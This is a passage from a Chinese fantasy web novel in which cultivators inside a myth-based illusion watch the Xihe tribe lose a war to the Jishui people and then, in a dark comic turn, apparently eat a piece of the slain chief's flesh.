等水回到了常曦手中时,她的阵法也画好了。她站在羲和面前,短暂地与姐姐对望了一会,接着抬手做了一个简单的手决,下一刻地上的阵法便大放光芒,她手中的水球仿佛吸收了阵法的光芒一般,霎时夺目刺眼。 常曦将它捧至空中,发着光的水球越升越高,仿佛升得有月亮那么高时,霍然无声爆开,飞炸的水滴瞬间笼罩了整个广场,细细小小的无数点看得见却摸不着,就这么如雪粒般冉冉飘落而下。 族人们欢呼着、跳跃着,绕着青铜鼎以及她们的首领和司命跳起舞来,尽情享受着这场神奇的月光雨。 这一切发生得又顺畅又离奇,等几人回过神来时早已处在雨势之中,伸出手来接不住,但望着彼此被月色照亮的脸,皆亮堂着奇异的神色。 黎巨笑着说:“月亮也会庇护你们。” 曾换月还在发愣:“额……多谢?” “哈哈哈哈……” 仪式结束后,羲和便宣布即将要开战,鼓舞出战的族人们做好准备,明日一早便要出发。得到月亮庇护的族人们充满自信、非常热情,仿佛胜利就在眼前。 羲和站起来,握拳高举,声如轰雷:“征服她们的太阳!” 族人们纷纷高声附和:“征服她们的太阳!” “征服她们的月亮!” “征服她们的月亮!” 太阳还未出现,月亮就在眼前,一切触手可及。 镜灵照了她,她,她……心中感到无限的澎湃。 原来日月真的属于我们。 * 她们彻夜狂欢到清晨,共同迎接了她们的太阳。 这些族人精力充沛,似乎一点也不见困意,祭祀太阳后就回家中做出战准备。羲和也来和妹妹道别。不过二人的临别话非常简略又熟练,仿佛已经说过上百回,大概就是些“不要逞能”“听大酋长的指挥”之类的,没有什么悲情和不舍。 “放心吧!”羲和拍拍钢铁胸脯,很靠谱道,“大酋长是世上最厉害的战神,再有我等众姐妹的辅助,此行必胜!” 常曦点点头。 临行之前,常曦从一个大抽屉里翻了什么出来,拎在手上朝坐在那等着的羲和走去。几人本是在边上默默看着她们道别,这下是瞪大了眼睛——常曦手上的那两条不是干蛇尸体还是什么? 她娴熟地将两条干蛇往姐姐耳朵上戴。 曾换月目瞪口呆地问:“那个……这个……好别致的耳坠啊哈哈……不过为什么是蛇呀哈哈……” “天地混沌如鸡子,女娲开天辟地;我们后人开疆展土,奉女娲为楷模。”常曦一边手上操作着一边说,“女娲是蛇,蛇乃女子之祥。这是先祖传下的神谕。” 羲和扯了扯蛇尾,咧嘴笑道:“饿了还能吃。” 石映心:“好吃吗?” “撒点盐还成,就是干巴。” “哦。”那看来不咋样了。 趁着师姐和羲和谈论美食,与此同时的曾换月也若有所思: 好有道理啊,原来她们这时候就知道女娲了……不过等等,开天辟地的是女娲吗?她怎么记得是盘古啊?嘶,以她考完试就忘得差不多的弹性记忆,这句应是“天地浑沌如鸡子,盘古生在其中”来着? 于是试探地问:“那什么,你们知道盘古吗?” 羲和卷着蛇尾,抬眼看她:“盘古是谁?” “盘古就是一个男……” 她猛然捂住嘴巴,瞪大眼睛和羲和对视着。 羲和:“难什么?” “男……”曾换月提着一口气,“难为我想不起来了!肯定是个不重要的人吧哈哈!” 羲和:“不重要的人确实难记住名字。” “……哈哈确实确实。” 她瞪大眼睛出神地望着某处,心里有些震荡和可怖:奇了怪了,女娲确实是当之无愧的创世神不错;而显而易见,多以创世开荒为主题的上古开辟神话的舞台处于母权制时期,以羲和她们对男人的鄙夷态度……怎么可能存在男神啊? 开辟神……不,这时期的所有神祇都应是女的才合理。 所以这个盘古到底是哪来的? 曾换月:*0* 戴好蛇耳坠后,常曦又将 姐姐后头的辫子散下来,打算重新给她辫个结实的,散落的长发粗糙而歪扭,瞅着非常狂野。 她们坐在那安分地注视着羲和,脑海里默契地想起了一幅画面。 一切准备完成。五人跟在常曦后头,看着羲和带着一大堆族人浩浩荡荡地向着太阳出发了。等她们走远后,常曦转过头来,她们才看见她脸上木木的忧愁。 曾换月想,也许常曦并不喜欢战争,虽然她的族人们确实好战而勇敢,她姐姐尤甚。羲和拥有如此充满力量,仿佛已经奠定了她此生的使命,就像她们认为的,征战是为了开天辟地,而非侵略;但不管原因如何,她很快便会明白,战争的失败也是命中注定。 战士们走后,部落便冷清下来。 她们回到屋里,常曦依旧安静而沉默,只是瞧着比先前多了些死气沉沉。大伙隐约明白将要迎来什么,都有些手足无措,总不能提前安慰人家吧? 常曦也没有和她们待一会,就说要去地下的屋子了;明易问了句能不能再让他看看柜子上的那些“书”,她点点头表示随便。 她一走,姬滢缓缓松了口气:“也许阵魂是羲和部落的族人不甘失败的执念?” 黎为夏叹了口气:“有可能。方才瞧她们出征的模样都是自信满满的……再说羲和这么厉害,一个人顶好几个,可想而知她跟随的大酋长就更厉害了,有这二人,怎么可能会输呢?” 石映心道:“既然输了,说明姬水人也很厉害,不是说战况持久,可见她们打得有来有回。” 曾换月皱起眉头:“那姬水人的首领到底是什么来头啊?难道也和羲和一样是个拥有神力的巨人?” “也许并不是巨人,不过同样是个聪明卓越的首领。”明易拿着一片甲骨走来,“这算是她们的书籍,上头记载了姬水人……主要是她们首领姬有熊的事迹。” 几人瞅见他手中的甲骨,上头密密麻麻地写着一些古怪的文字,一看就想挪开视线,曾换月敬佩地问:“大师兄,这些鬼画符你也看得懂啊?” “先前机缘巧合之下略有涉猎,不过只认得一些,”明易解释道,“一开始也是一头雾水,不过经过一些对比参照和推测,也许还有听多了常曦她们说话的原因,有些字莫名就识得了。” 曾换月比大拇指:“学习这事还得是你啊大师兄。” 石映心也点点头表示赞同,又问:“大师兄,上面写了什么事迹?” 明易道:“只看懂大概的意思。说这位姬有熊自小聪明过人,生下没多久便会说话,长大之后更是无所不通。她会穿井、生火,蒸谷为饭,烹谷为粥;还会做衣衫,建房子,炼制陶器……甚至是棺材。” “哇塞。”曾换月张大嘴巴,“那她很聪明了。难怪是首领呢,这生存技能加满了……” “不仅如此。”明易道,“她同黎贪一样,能够呼风唤雨、沟通神祇。双方至今为止已交手九回。” 曾换月喃喃道:“呼风唤雨……也是个神人啊……” “姬水人肯定也武术高超。”黎为夏摸摸下巴推测道,“首领叫有熊……有熊的地方就有很多野兽,能在这么危险的地方存活下来,本事不小。” 姬滢点点头:“有道理。” 曾换月莫名有些想笑:“哎呀,这名字倒是挺直白的。常曦称呼她们是姬水人,难道是因为生活在姬水边才姓姬吗?” “不像。”石映心说,“话本中皇帝登基时,只说‘从此天下就姓姬了’,没听过因为天下姓姬而让皇帝改姓的。” “映心说得不错。”明易颔首道,“姬以女字为首,应是为了同男子区分,故特要加上此字,至于同什么字相结合组成新字,则各有所取了。” 曾换月恍然:“是不是就像她们部落的图腾一般,不管画了什么,都要加上倒三角代表女子的身份?” 明易说:“嗯,或许姓氏也算是她们图腾的一种。不过这些仅是猜测罢了。” 话说到这里,大家对这位姬有熊和她的部落有了些浅薄的了解,仅此看来,羲和的失败也许并不冤枉,不过是棋逢对手,胜负参半罢了。 石映心左看看右看看,见大家都沉溺在这场战事的已知结果中,不得不追问一句:“所以我们要找的阵魂在哪里?” 曾换月挠挠头:“不知道啊师姐,我还没头绪。” 黎为夏抓抓脸:“难道真是羲和部落的人不甘失败集成的执念?” 姬滢摇摇头:“我们不可能帮她们改变局势。” 明易说:“常曦不像是不明白真相,可她不愿意为羲和占卜。” “会不会她早就占过了,也知道会输,但是……”曾换月顿了顿,叹了口气道,“但是知道羲和还有大酋长不可能放弃,所以干脆不说呢?” 石映心好奇地问:“真有人明知会输还要去做吗?” 曾换月感叹道:“有啊师姐!世上更多的是这样的傻瓜!” “她们为了什么?” “为了……”小师妹皱起眉头纠结起来,苦思冥想也不知道怎么说,“为了……为了什么啊大师兄?” 大师兄:? 他哪里知道:“各有执念吧。”只含糊地这么回答。 第105章 姬滢和黎为夏说趁现在人少,她们想去部落里四处逛逛;明易则是要继续“看书”收集信息;曾换月本来说脑子疼要躺着休息会,但见师姐往边上下楼的梯子走去,一个鲤鱼打挺又跳了起来,嚷嚷着“师姐等我”,连忙跟上。 二人来到地下,看见常曦坐在桌前,似乎在龟甲上写画着什么。 她们好奇地凑过去看,常曦并不遮掩,只自顾自地画。二人左看右看,只觉得像图腾又像阵法,反正看不明白就是了。 曾换月问:“常曦,你在画什么呀?” 常曦头也不抬道:“昨夜的星象。” “画这个做什么?” “观日月星情,沟通天地。” 石映心:“你和天地沟通了什么?” “风雨,狩猎,农耕,祭祀……”顿了顿又说,“从前,现下,将来。” 二人:*0* 真是实用又哲学啊,曾换月想:“听起来很厉害,不过后边这三样有什么用呢?” “于我而言是无用的。”常曦抬眼看向二人,“不过对其她人有用。但可以将这些画下的人,只能是我。” 有点绕哈,二人反应了会还是听懂了,石映心颔首道:“你是在替他人做嫁衣。” 这个说法似乎对常曦来说有些稀奇,不过她静静地看着手下的画思考了会,还是点了点头:“不错,确实是在替他人做衣裳,但同样为了我们自己。” 不明白·石映心:“……哦。” 不明白·曾换月:“哈哈常曦,我能看看吗?” 常曦瞥了眼边上堆得高高的甲骨,似乎不太在意地点了点头。 石映心凑在师妹边上,看着她手中的甲骨看了没一会就耐心告罄了,余光瞧见小师妹蹙眉看得很认真,她也不打扰,只是很快转移视线开始打量起屋子里其他的东西。 这一转眼就看到了一旁柜子上摆着的青铜器皿,正是她先前瞧见过两回的那个。石映心好奇地走过去,打开盖子一看,里头依旧装满了水。她记得这水会飞,但此刻很安静,于是用指尖戳了戳,没什么异样。 探去脑袋,和水面中的自己对视了一眼,石映心瞧见器皿内部也有些深深浅浅的花纹,在水光下有些瞧不分明;又把盖子归还原位,上面依旧刻画了许多倒三角的图纹。 她想起来黎巨说过,这是“月亮的孩子”,是伴随司命诞生的神物。 于是便问常曦,后者颔首道:“寻常时候看着像普通的水,拜月时便能化作月光赐福族人。” 石映心记得昨晚的情景,确实是赐福,又问:“伴随司命诞生……这也是从你母亲肚中生下来的吗?” 常曦呆了一下,古怪地看着她:“不是。只有我和姐姐是从娘肚子里生下来的。生下我们后,娘亲在屋外的月光下发现了口口,依据过往的经验,这便是司命身份的象征,新司命便是我或者姐姐。” 石映心便问:“你和你姐姐一出生就一大一小吗?” 常曦:……虽然知道她在问什么但是为什么听起来怪怪的。 “一开始相差无几,后来姐姐长得很快。” 石映心:“又是如何确定你是司命而不是你姐姐呢?” 常曦好耐心地解释:“天赋是无法被淹没的,姐姐有天生神力,族人们很早就将她认作了未来的首领。” 石映心:“如果你们的母亲只生下了一个孩子,这个孩子会是司命还是首领?” “那便是大酋长了。”常曦听到这,朝她笑了笑,“大酋长才有这样的本事。” 好奇石映心问到这里总算安分下来,点点头表示自己问够了。目光一转,小师妹正坐在常曦边上,专心致志地研究着龟甲,还用手指在一边的桌面上跟着绘制。 石映心隐约意识到龟甲上的日月星情很可能与阵法或是符箓有些关系,不过这些她是一窍不通的,更没有什么兴趣,随便瞎看了一会便上了楼。 到了楼上,不见姬滢和黎为夏,只有大师兄站在那“看书”,听到她上来的动静,便朝她点了点头。 石映心走过去叫了声“大师兄”,就杵在那发呆,没什么动静了。 明易应了一声,本以为她有事要说,过一会见她静悄悄的,抬起眼看她在发呆,不由得笑道:“很无聊?” 石映心点点头。 “可以出去逛逛。” 她又摇摇头道:“不知为何,我有些云里雾里的,像是知道在做梦一般,打不起劲。” 明易想了想道:“也许是因为我们都知道这里是有既定未来的阵法境界,无论做什么都改变不了结局,它已经发生了。” 石映心缓缓点了下头,又说:“阵魂也没找到。” 大师兄:“不要着急,大概率是要等故事演完才有线索。” “线索……”她声音有些沉闷道,“看不懂。” 明易瞅她失神的模样,心中明白她不喜欢陷入这种“拔剑四顾心茫然”的境地,这家伙平时瞅着闲闲的,常常一副置身事外的模样,其实眼中很有活(暂不提是不是因为好奇),脑中很有想法(暂不提是否离谱)……总而言之,她的勤奋积极有什么错呢(仅是大师兄看法)。 想到这,明易感到一些慰藉,他决心帮师妹找点事做。于是拿出因果牌来递给她:“不如你去问问常曦关于因果牌诗词的事?虽然她不一定能听懂。” 石映心瞅了瞅因果牌,哇一个字都没消,不得不感到纳闷,但好歹有些事做了,于是脸上浮现一个笑,伸手去接—— 就在此刻,天地风云变幻,眼前骤然一黑,仿佛黑夜猝不及防地盖下人间。 黑暗中二人诧异地对视一眼,明易伸手一推,隔空施法将房门推开,外头也是一片漆黑,忽然有狂风袭来,吹得屋内叮当作响,二人几乎睁不开眼,明易连忙又将门关上。 发生什么事了? 有脚步声哒哒哒地从楼下跑上来,伴随着叫喊声:“师姐!大师兄!” 紧接着是辟邪灯的火光飘了上来,转头看去,是小师妹拉着常曦上来了,瞧见她师姐师兄都还在,很明显地松了口气:“吓死我了,怎么回事啊这?” 明易看向常曦,也许是火光缥缈诡谲,照得她脸色分外冷漠。她慢慢地说:“是远方战场的动静波及了此处。” 三人都没反应过来,只听外头轰的一声雷鸣,紧接着就是倾盆大雨哗啦啦倒下的声音,大地被雨水打得嗷嗷喊疼。 这时门被打开,飞来的风雨一瞬间打湿了半个屋子,匆忙赶回来的姬滢和黎为夏手忙脚乱地把门推了回去,纷纷竭力地愣在那回不过神,四只眼睛瞪得大大的,浑身湿透,活像被打蔫了的两株芭蕉。 还是石映心贴心地给她们施了澄净诀,又把屋里给弄干了。 常曦默默地找了两件外衣给她们披上,曾换月拿出二师兄的两个火桶来,大伙围坐一团,在轰天雷和砸地雨中追寻火焰的噼啪声响。 好一会,那两株芭蕉才回过神来,黎为夏哇哇大叫道:“太吓人了!这雷差点劈到我俩脸上!还有那雨好像要打穿我的脑壳!好痛啊!” 姬滢抱着自己的脑袋,连连点头表示同意。 常曦看着火桶上的火光,平静地说:“我们这里时常会有这样的暴雨,一般观天象可以未雨绸缪,提前保护好庄稼和部落,让族人紧闭房门不要外出……不过这次是被战场波及,没办法。” 黎为夏听了有些发愣:“你的意思是……她们在这样的雷雨中打架?” “这也是战事的一环。风雨或许是姬有熊招来的,或许是大酋长招来的。”常曦不慌不忙地给她们说着战役的情况,“前几回,大酋长作大雾弥漫三天三夜,姬水人却观天象制造了能指引方向的指南车;后来……” “双方有来有回,见招拆招,动静一回比一回浩大,甚至引来了度朔之山两位神人的警觉,她们特来制止战役,但大酋长与姬有熊不过应付着消停了几日,等她们一走便再次发起战役。” 曾换月:好不听话的两个! 石映心:“度朔之山的两位神人是谁?” 常曦道:“度朔山上有鬼门,她们是看守鬼门、统领万鬼的神人,其中一位是郁垒,还有一位……姐姐不记得了。” 曾换月:好不靠谱啊羲和! 在雷雨声中,她们出神地听着大酋长和姬有熊的龙争虎斗;天地的声响在不知不觉中渐渐变小,木桶中的火光渐渐黯淡。 石映心恍然发现,其实常曦对姬水人并无深恶痛绝的情绪,她更像是事不关己,尽管会对一些战役上和劣势和失败表示遗憾。 悄无声息中光明再次到来,屋外天地大亮,常曦的故事也说到了当下,她平稳地做了结束语:“输赢总是短暂的,不管何时。” 话毕她站了起来,转身去了楼下。 从天黑到天亮,好像没过多长时间,但几人皆是神智恍惚。曾换月也许是盯着火光发呆太久,有些眼花缭乱的,将火桶收起来后,她摇摇晃晃地走去开门,想呼吸一下新鲜空气。 屋外很明亮,满世界的潮湿,头顶上好像有鸟鸣盘旋。她深呼一口气,又揉了揉眼睛,余光看见又有人朝这边跑来。 转头定睛一看,是个陌生的族人。曾换月发呆地站在原地看她跑来,然后在她面前停下,面色很严肃地对她说:“快去告知司命,我族此战惨败,首领正在赶回来,快收拾东西等着随首领离开……大酋长死了!” 曾换月:OO啊? 大酋长……死了? 即便结果已然心知肚明,但方才在常曦的故事中英明神武、战无不胜的战神大酋长黎贪,就这么…… 死了? 第106章 神会死吗? 神死了以后将去往何处呢? 曾换月不知道,现在似乎还没有“天庭体系”,这些故事里的神下凡历劫死后就能回归天庭、位列仙班,如此死去便算新生。可黎贪她们…… 她回到屋里本想说这消息,但一进门就瞧见常曦拿着一个包裹往黎为夏身上挂,一边挂一边说:“人多,可以带走的东西也多一些。” 黎为夏一脸茫然地点点头。 曾换月:…… 总而言之,言而总之,是这么回事了。 羲和很快带着存活的族人们赶回来,这次的队伍肉眼可见地少了许多人,活着的人身上也有 不少伤,有些还是被背着或是扛回来的;羲和本人也是乱糟糟的,有种被淋湿了又吹干再被淋湿然后再被吹干……的毛躁感。 她一进屋里,看见身上挂着大包小包的几人,先是愣了一会,但很快回过神来道:“都收拾好了?那快走吧!” 石映心看见她有一条耳坠断了尾巴:“去哪里?” 她似乎还没打算好,皱着眉头胡乱地说:“往南边走……总之先走。我们输了,这里已经是姬有熊的领土。” 大家说好。 她们从来没经历过这样的迁徙,但羲和部落的人似乎很熟悉。等几人出去的时候,黎巨已经在广场上组织好了大部分族人,就等着首领一声令下,即刻便能出发。 石映心打量着广场上族人的神情,似乎很多懊恼,但并不麻木和失望,反而充满了生机。她听见有人说“下次一定要把这块地抢回来”“这次给姬水人得逞了”“最可惜的是大酋长死了”…… 说着可惜,也就只有可惜。 没有人是丧家之犬的模样。 首领司命还有黎巨三人很简略地商量了一下,很快便带着族人们离开了这片她们生活过的土地。留下能避风雨的房屋,精美刻画的陶器,习射的空地,还有不久前才充满欢声笑语的祭祀广场,那具曾腾飞火焰的青铜鼎…… 都不值得留恋。 因先前狂风大作,今日的太阳来得有些晚,等她们离开部落的时候才在云上露了半张脸。羲和瞅见了,立刻举起拳头高声道:“走!向我们的太阳走!” 这些丧家之犬紧跟着欢呼起来: 走! 太阳!太阳!太阳! 只要世上还有太阳,还有月亮,她们便永远有去处,永远有希望。 这注定是场漫长而无尽的征途,终点后是起点,死亡后是新生;但只要世上还有太阳,还有月亮,征途永远不会停止。 日月是永恒的,她们明白。 * 没有什么新鲜的,除了偶尔会远远地路过某个部落之外,路上的景色都很相似,要么是树林要么是荒地,有河流就顺着河流走,若是同河流不顺道便弃之。她们在林中捉兔子野猪,在河中捉鱼,在荒地射飞禽…… 倒是没饿过。 时常也会偶遇其他部落的人,试探过后若发现对方不是姬水人,族人们都会热情相待,分一些狩猎到的野味给她们表示友好。如果异族人问起来:“你们从哪来的?要往哪儿去?” 这时候族人们便会拉住她们,絮絮叨叨地说起大酋长辉煌的事迹,大酋长如何厉害英勇神武……最后轻飘飘地带过:“现下我们暂处劣势,还得避其锋芒,待日后卷土重来!” 异族人:“哇塞,你们大酋长和首领这么厉害,一定可以的!” 族人们说对啊对啊,又送给她们几片歌颂大酋长的龟甲,几只野味和几个陶器等,高高兴兴地把人家送回去。 目睹一切的曾换月:……传教现场! 不过她们说得确有其事,大酋长也确实是神人……传就传吧。 这日下了一整日的大雨,为了防止淋雨生病,羲和决定原地歇息一日。 歇息就歇息吧,反正住处是有的,羲和部落每个族人都熟练地掌握了在林子中利用各种树干叶片搭木屋的技巧,生火什么的对她们来说更是手拿把掐,甚至用不上明易她们帮忙。 不过今日下了雨,林中的木材非常潮湿,为了节省力气,族人们还是从曾换月带来的火桶中借了火;这几日相处下来,羲和部落对她们已经有了接纳的态度。 她们五人一起住在一个大屋子里,得亏于火桶持续不断的燃烧,屋里干燥而温暖,雨水打在叶片屋顶上,发出啪嗒的响声。 曾换月紧挨着师姐坐着,总觉得此情此景有些像她曾经看过的野外求生。但别说,现在有屋子有火还有师姐师兄,艰难的环境反倒滋生出更多的安全感,有点好玩了哈。 雨声中好像有敲门声,大师兄没起身,用法术开了门。 常曦熟门熟路地进屋来,关上了门。大伙瞧见她手上有一包圆鼓鼓的叶子,她不紧不慢地走近了坐下,打开手中的叶子,里头是一些分好的肉块,瞧不出是什么肉。 因为族人们打猎的技艺高超,如今又是在赶路途中,明易知道她们并不会储存很多肉食;而今日又下了雨,估计都在吃些干肉条或是果子……这些看起来还算新鲜的肉是哪来的? 这么想着他便随口问了。 常曦将肉放入她们的陶锅中,搭在木桶上煮,一边动作着一边说:“昨日吃剩下的。” 黎为夏奇道:“你不是同羲和还有黎巨一起吃的吗?” 话外的意思是这两人怎么会剩肉呢? “嗯。”常曦点了点头,顿了顿又补充道,“昨日姐姐胃口不好。” 哦~原来是这样啊。 明易:“今日也可以吃。” 常曦:“今日也胃口不好。” 明易:“可以分给族里的孩子,我们并不是很饿。” 都是能辟谷的修仙者了,石映心等人纷纷点头。 常曦却摇摇头:“没事,明日天晴后便能吃肉了。” 人家也是好意,一再拒绝算什么事呢,明易就当做她是在照顾她们这些“瘦弱”的外人,不再多问了。 常曦往肉上洒了盐,陶锅中飘出阵阵肉香。旁观的几人就算不饿,莫名也咽了咽口水。 肉煎出微焦的成色、用小刀划开,只瞧见很浅的肉粉色时便能食用了。 常曦拿出边上处理过的树枝,插了一块大肉,率先递给了在她边上的石映心。后者道了谢后接过来,张口就咬。 明易盯着常曦的动作,眉头很轻微地皱了起来;说着不饿然后婉言谢绝了常曦递来的肉,默不作声地盯着石映心瞧。 只见她没什么表情地把肉吃完了,然后放下树枝,看向常曦问:“这是什么肉?” 常曦也看向她:“不清楚,是昨日处理后的剩下的,也许是兔肉,也许是鸡肉,或是猪肉。” 石映心:“不太好吃。” 常曦:“是吗。” 石映心:“没吃过的味道。” 常曦:“嗯。” 明易:…… 槽点太多,首先他想问师妹,既然不好吃为什么吃完了才说…… “啊,师姐吃的肉不会是已经坏了吧?”曾换月咽下口中的肉,忧心道,“怎么办啊?就怕闹肚子呢。” 石映心摇摇头:“不会的,我很强健。” 明易不声不响地叹了口气,朝师妹道:“映心,以防万一,去外头吐出来吧。” 石映心说不会,没事的,现在感觉肚子热乎乎的,还有些舒服呢。 曾换月:“哇,那这肉很补了!” 明易:……不是,这明显不对劲了。 他正要站起来拉着师妹出去说道说道,忽然外头有踩着雨水的啪嗒脚步声飞奔而来,转头看去,是羲和破门而入,面色慌慌张张的:“常曦!常曦!” 常曦坐在那,不慌不忙地转头问:“怎么了姐姐?” 又道:“记得脱鞋。” 羲和脱了鞋进屋,瞪着好大一双牛目看着妹妹:“常曦,你有瞧见谁动了你的口口吗?” (这里的口口指青铜器皿。) 常曦摇摇头说没有。 羲和:“你不是一整日都待在屋里?也没见着吗?” 常曦摇摇头说有出去过。 羲和抱头:“怎么回事!” 明易不得不问:“首领,发生什么事了?” 羲和一副天塌了的模样:“我放在里头的东西不见了!” 看起来是很重要的东西,姬滢问:“是什么东西?我能帮你卜卦寻物,也许能找到。” 羲和盘腿坐下,目光扫过几人,最后叹了口气道:“是大酋长。” 除了常曦,所有人脸色露出迷惑的表情。 曾换月以为是翻译出错:“啊,是什么?” “是大酋长。” “大酋长是什么?” “就是我们的大酋长,黎贪。” 什么玩意! “大酋长不是已经……神落了吗?”明易试图一句一句地搞清楚状况,“为 何会在那个青铜器皿中?” 曾换月挠挠头:“感觉也装不下吧啊哈哈。” 羲和摇摇头道:“不,我只带回来大酋长的一块肉而已。大酋长是神,她不会真正地死去,死后的肉身会化作万物……我便带了一块肉回来,等她再生。” 五人:O0O 等下,慢着……让她们缓缓。听她这确有其事、深信不疑的语气,大伙在不可置信的同时又觉得无可置疑……太荒诞了! 一时哑口无言。 咕噜噜。是谁的肚子在叫? “唉,”羲和摸了摸肚子,叹了口气道,“今日还没吃上肉,好饿啊。”忽然嗅了嗅鼻子,“咦,你们方才做了什么吃的?我闻到了肉味。” 五人:…… 不知为何感到一些背脊发凉,几人坐在那垂着脑袋,眼观鼻鼻观心,咬着嘴巴不做声,空中弥漫着肉香的隐隐可怖。 只有石映心发言:“是常曦带来的肉。” 羲和便看向妹妹:“常曦你哪来的肉?怎么不叫上我一起来吃?” 常曦站起来道:“你来晚了。我们回去吧,姐姐。” 羲和没站起来,指着姬滢说:“不急,我还要让石滢帮我卜卦找大酋长。” 常曦:“我帮你卜卦。” “是哦……你也会。” 姐妹俩就这么走了。 第107章 等脚步声远了,屋里顿时送出好多口气。她们也不敢说话,只传密音: 曾换月谨慎地先提了一嘴:“常曦不是说羲和没胃口吗……” 石映心:“她刚刚肚子叫得好大声。” 黎为夏干笑了两声:“话说回来,常曦对我们真好啊,肉不给羲和吃,给我们吃欸……” 石映心:“其实也没认识多久。” 姬滢摸了摸肚子:“刚刚石道友不是说肉的味道有些奇怪吗?现在一想好像确实……” 石映心:“难吃。” 明易幽幽地看着桌上已经干干净净不留一点肉末的陶锅,冷静道:“我没吃。” 石映心:“原来是这样。” 曾换月觉得有些阴森森的,神情可怜地看向她师姐:“怎么、怎么样啊……” “情况很明白了,”石映心机智道,“我们其中一人吃了大酋长的肉。” 曾换月扑过去捂住师姐的嘴,其实是在压抑自己想发出的尖锐爆鸣,她苦涩地说:“别说了师姐!” 石映心:“唔唔唔。” 黎为夏也露出想哭的表情:“常曦为何这么对我们!” 姬滢皱眉:“总不会是下毒了……她到底想做什么?” 曾换月抽抽鼻涕:“她肯定不会说的……呜呜,我们现在吐了还来得及吗?” 石映心把师妹的手拿开:“我去问问。” 明易站起来:“我同你一起。” “嗯。” 小师妹说也想去,但被大师兄拒绝了。 外头还在下雨,明易拿起门边简陋的伞撑开,见石映心贴了过来,先是问了一句:“你现在真能直接照出旁人的心思?” 石映心点点头:“能照个大概。” “好。” 二人走到雨中,明易关注着边上的身影,压低声音说:“是我不好,若是早发现常曦有古怪……” 石映心:“我也发现她有古怪。” “……那你还吃?” 石映心摇摇头:“它没想害我们,我就想看看她要做什么。” “……你试试吐出来。” 石映心无辜道:“大师兄,若真不是普通的肉,现在吐出来也来不及了。” 明易觉得自己受到了一些精神上的折磨,他怎么有个这样磨人的师妹?算了,还能怎么办呢?总之是拿她没办法。 二人本是要往常曦和羲和小木屋走去,余光一撇却在树木的夹缝间瞧见羲和正坐在小溪边淋雨,瞅那忧愁的背影,有种野牛喝水但发现水不好喝的苦恼感。 咳。明易和师妹说,你去问问羲和怎么了,我隐匿身形在后边听。 师妹说好,接过了大师兄手中的伞。 石映心撑着伞走过去,很贴心地把伞分给了羲和一半。 羲和抬头来看她,嘴巴张了张,被水淋湿的脸有些动容…… 石映心打算坐下来说话,于是屁股一放,跟着拉下来的伞面咔嚓一声被羲和的大脑袋冲破了。 石映心:OO咦? 脖子上套着破伞项圈的羲和:个_个 后边目睹一切的明易:唉。 好在石映心是个所有人都尴尬但她也不会觉得尴尬的人,再说追根究底,这本来就是羲和长得太高脑袋太硬的缘故…… 她看着羲和把破伞扯下来,在边上默默地说:“对不住。” 羲和说没事啊没事。 石映心于是从储物袋里变出了二师兄的防御伞,羲和一见连连摆手道:“这点小雨就不撑了!” 石映心把伞撑开:“是我要撑。” “……哦。” 最后还是由羲和举着伞,虽说有些飘进来的雨水,但石映心觉得聊胜于无吧。 不知道算不算谈心的环节,如果是的话有些开局不利。幸好石映心并不在意,她单刀直入地问道:“你一人坐在这是因为……” 羲和的神情再次泛起忧愁:“嗐……” “……肚子饿了要捉鱼吗?” 相信她,明易,相信她,师妹有自己的节奏。 羲和一副被提点醒的模样:“是哦,你说得有理,既然已经出来淋雨,待会就捉几只鱼回去。” 石映心点了点头,又道:“是不是常曦说大酋长找不到了。” “……你说的是,”她顿了顿,叹气道,“唉,大酋长去了哪呢?” 石映心盯着她:“你知道是常曦做的好事,知道这事的人只有常曦和黎巨,不过口口一直是常曦看管的。” 羲和瞪眼道:“你怎么知道?” “我聪明,想一想就知道了。” 羲和便说:“是,你和我妹妹都是聪明人。不像我……” 石映心安慰她:“你本就四肢发达,天生神力,若是再有聪明的脑袋,那有些过分了。” “……”羲和点点头,语气消沉下来,“大酋长就是这样的神人。” 扯来扯去总算扯到大酋长,石映心继续说:“如果她真的这么厉害,不会因为一块肉被人吃了就没办法。” 羲和一愣,转头看她:“你说大酋长被吃了?” 石映心:OO “假使……这是最坏的情况。” “这太坏了!”羲和有些激动道,“先祖神谕,若神的肉被吃了,死去的神便不会再复活!” 啊哦……石映心碰了碰嘴巴。 不过这也没事吧?这只是一个虚假的画中世界,就算她们吃了大酋长的肉,也只是假的肉……真实的大酋长神落后如何了都是未知数…… 于是她毫无负担道:“大酋长一定会复活。” 得到无关紧要的保证后,羲和泄气下来,颓丧地点了点头,仿佛定了死心。 石映心感受着羲和,心中有无限的怅惘。这两日跟着她们部落走走停停许久,羲和一直表现出很高昂的情绪,面对族人时很有斗志,私下见她和常曦黎巨相处也是寻常的模样,看不出多少伤心。 族人们与大酋长的关系算不上紧密,她们更依赖自己的首领,因此大酋长死后只是惋惜;羲和明显对大酋长很崇拜,从她们的视角来看,把人家 尸体的肉带回来什么希望她复活什么的……哈哈。 所以原来,之前的羲和瞧着不伤心,是因为她觉得大酋长没真的死去吗? 现在好了,大酋长不见了,凶手疑似亲妹妹,她心中苦闷,就跑来小溪边黯然神伤了。 石映心感觉自己的心要被她拉到水底,不想再照了,赶紧问道:“你觉得常曦为何这么做?” 羲和抓耳挠腮:“我不知道啊!但她是我妹妹,我们姐妹俩从来都是一条心的,她不会做对我不利的事!” “既然如此,你为何不问她?” 这话说得,羲和直勾勾地望向她:“依你这几日对她的了解,你觉得常曦会说?” 不会。 石映心于是要站起来:“我有办法……” “别去!”羲和咚地把她摁下来,“现下我心情很乱,不想同她闹脾气。总之事已至此,再怎么说也没用了,我相信常曦有自己的打算!而我要做的,就是带领我们部落找到新的安身之所……没错,我不能再消沉!” 其实她也没消沉多久,大概也就“发现大酋长不见了”到这会,总共不过半个时辰。 羲和的大手摁在石映心肩膀上,让她感到难以承受的重量,石映心把她的手挪开,换了个话题:“说到这事,还没问你这回是怎么输的?” 羲和又被扎了一箭,叹了口气道:“这次真是意料之外。原先局势有利我方,姬有熊虽有应龙相助蓄水,但大酋长请来风伯雨师、纵大风雨,我们早有在暴雨中作战的准备。没想到姬有熊竟请来天神女魃,一时风雨尽去,大地干旱……总之,打了我们个措手不及。” “大酋长见状不妙,为护我们尽快撤退,独自留下作战,最后被姬有熊斩杀,分尸异处,我匆匆赶返时只寻得一块肉身……” 说到这,话语中很多惆怅叹息。 石映心拍拍她的肩:“没事,至少你们还活着。” “嗯。”她扯开嘴角笑了笑,“至少我们还活着。只要我们还活着,大酋长并不会真正死去。我们这些部落会将大酋长的事迹永远流传,等到她卷土重来那一日……她一定会回来的。” “回来之后要做什么?打败姬有熊?” 